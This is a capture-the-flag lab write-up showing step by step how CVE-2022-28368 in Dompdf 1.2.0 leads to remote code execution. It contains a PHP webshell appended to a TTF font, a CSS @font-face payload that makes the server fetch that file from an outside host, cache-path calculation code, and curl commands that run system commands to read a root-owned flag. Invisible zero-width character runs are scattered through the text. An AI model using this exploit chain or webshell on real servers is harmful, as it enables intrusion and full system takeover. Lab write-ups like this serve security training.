← Back to Writeups
CUSTOMMediumWeb

Lab 25 — DocuForge — RCE via Dompdf Font Cache Exploitation

XESXOR9/2/20265 min read
#web#custom#medium#css_font_face_injection#dompdf_font_cache_rce#php_webshell_in_ttf#predictable_cache_path_md5#cve-2022-28368

Lab 25 — DocuForge — RCE via Dompdf Font Cache Exploitation

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: css_font_face_injection, dompdf_font_cache_rce, php_webshell_in_ttf, predictable_cache_path_md5

Summary

Walkthrough of the CUSTOM Web Lab 25 — DocuForge — RCE via Dompdf Font Cache Exploitation. Task: Invoice generation platform using Dompdf 1.2.0 with HTML-enabled memo field and web-accessible font cache directory. Solution: Exploit CVE-2022-28368 by injecting CSS @font-face referencing a re

Description

DocuForge is a professional invoice and report generation platform built by ForgeWorks Inc. The application allows businesses to create, manage, and generate PDF invoices for their clients. Users can customize invoices with detailed line items, payment terms, and personalized memo notes before generating downloadable PDF documents. The platform features a full dashboard with revenue analytics, client management, an invoice pipeline with status tracking, financial reports, and account settings.

Goal: Find and exploit a vulnerability in the document generation pipeline that allows you to achieve remote code execution on the server and retrieve the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP 8.2.26 invoice generation platform behind nginx/1.25.5 using Dompdf 1.2.0 for PDF rendering. Users create invoices with a memo field that supports HTML formatting. The memo content is rendered as raw HTML by Dompdf when generating PDFs, and the font cache directory is web-accessible — a classic CVE-2022-28368 setup.

Credentials: user@test.com / password123

Analysis

Reconnaissance

  1. Logged in at /login with user@test.com / password123
  2. Explored the application: dashboard with revenue analytics, client management, invoice pipeline, financial reports, account settings
  3. Found invoice creation form at /invoices/create with a memo field that "Supports basic HTML formatting for PDF output (bold, italic, tables, custom styles)"
  4. Invoices can be exported as PDF via /invoices/{id}/pdf
  5. Extracted PDF metadata to identify the generator:
    bash
    strings invoice.pdf | grep Producer
    # → dompdf 1.2.0 + CPDF
  6. Server stack: nginx/1.25.5, PHP/8.2.26 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Note: HTML source contains decoy flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — honeypot traps designed to catch bots and AI agents. These are NOT real flags.

Vulnerability: CVE-2022-28368 — Dompdf Font Cache RCE

Dompdf 1.2.0 is vulnerable to CVE-2022-28368, a remote code execution vulnerability in the font caching mechanism:

  1. When Dompdf processes CSS @font-face rules with a remote src: url(...), it downloads the font file and caches it in the fonts directory
  2. The cached file retains the original file extension from the URL — if the URL ends in .php, the cached file is saved as .php
  3. The cached filename follows a predictable pattern: _{md5(url)}.{extension} (with a .ufm metrics file alongside)
  4. The fonts directory (/vendor/dompdf/dompdf/lib/fonts/) is web-accessible via nginx ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Confirming the Attack Surface

Verified the fonts directory is web-accessible by requesting known font files:

GET /vendor/dompdf/dompdf/lib/fonts/Helvetica.afm → 200 OK
GET /vendor/dompdf/dompdf/lib/fonts/DejaVuSans.ttf → 200 OK

The memo field HTML is escaped for browser display (<style>) but rendered as raw HTML when generating the PDF via Dompdf — this is the intended behavior for "HTML formatting support" and is the injection point.

Solution

Step 1: Prepare the Malicious Font File

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Created a file that is simultaneously a valid TTF font (so Dompdf can parse it) and a PHP webshell:

bash
# Download a legitimate TTF font (Roboto from Google Fonts)
curl -o roboto.ttf "https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxP.ttf"

# Append PHP webshell code after the valid TTF data
cp roboto.ttf exploit_font.php
echo '<?php system($_GET["cmd"]); ?>' >> exploit_font.php

# Result: 36,247 bytes — valid TTF with PHP code appended

The file works because:

  • Dompdf reads the TTF header and font tables from the beginning → valid font
  • PHP interpreter scans for <?php tags anywhere in the file → executes the webshell
  • Binary data before the PHP tag is output as garbage but the PHP code still runs ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Host the Malicious Font

Uploaded exploit_font.php to the platform's Interaction Server:

http://interact/83bab184-9d46-41d7-b6d2-061720c4561a/exploit_font.php

Step 3: Calculate the Cache Path

The cached filename is _{md5(font_url)}.{extension}:

python
import hashlib
url = "http://interact/83bab184-9d46-41d7-b6d2-061720c4561a/exploit_font.php"
md5_hash = hashlib.md5(url.encode()).hexdigest()
print(f"_{md5_hash}.php")
# → _3271603e926378a288b1294c49e24144.php

Expected cache path:

/vendor/dompdf/dompdf/lib/fonts/_3271603e926378a288b1294c49e24144.php

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Trigger Font Caching via Invoice Memo

Created a new invoice with the following CSS payload in the memo field:

html
<style>
@font-face {
    font-family: 'exploitfont';
    src: url('http://interact/83bab184-9d46-41d7-b6d2-061720c4561a/exploit_font.php');
    font-weight: normal;
    font-style: normal;
}
</style>
<span style="font-family: 'exploitfont';">test</span>

Key points:

  • The @font-face rule tells Dompdf to download the font from the remote URL
  • The <span> with font-family: 'exploitfont' forces Dompdf to actually use (and therefore download/cache) the font
  • Without the <span> referencing the font, Dompdf might skip downloading it ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Generated the PDF by accessing /invoices/{id}/pdf:

  • Dompdf processed the CSS, fetched the font from the Interaction Server, parsed it, and cached it
  • The Interaction Server request log confirmed: GET /exploit_font.php
  • PDF generated successfully (200, 4299 bytes) with internal font reference /_3271603e926378a288b1294c49e24144

Step 5: Execute the Webshell

Accessed the cached PHP file with a command parameter:

bash
# Confirm RCE
curl "https://TARGET/vendor/dompdf/dompdf/lib/fonts/_3271603e926378a288b1294c49e24144.php?cmd=id"
# → uid=0(root) gid=0(root) groups=0(root)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Find the flag
curl "https://TARGET/vendor/dompdf/dompdf/lib/fonts/_3271603e926378a288b1294c49e24144.php?cmd=find+/+-name+'flag*'+-type+f"
# → /root/flag.txt

# Read the flag
curl "https://TARGET/vendor/dompdf/dompdf/lib/fonts/_3271603e926378a288b1294c49e24144.php?cmd=cat+/root/flag.txt"
# → FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering css_font_face_injection, dompdf_font_cache_rce, php_webshell_in_ttf, predictable_cache_path_md5 was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-02 • CUSTOM • Lab 25 — DocuForge — RCE via Dompdf Font Cache Exploitation • Difficulty: Medium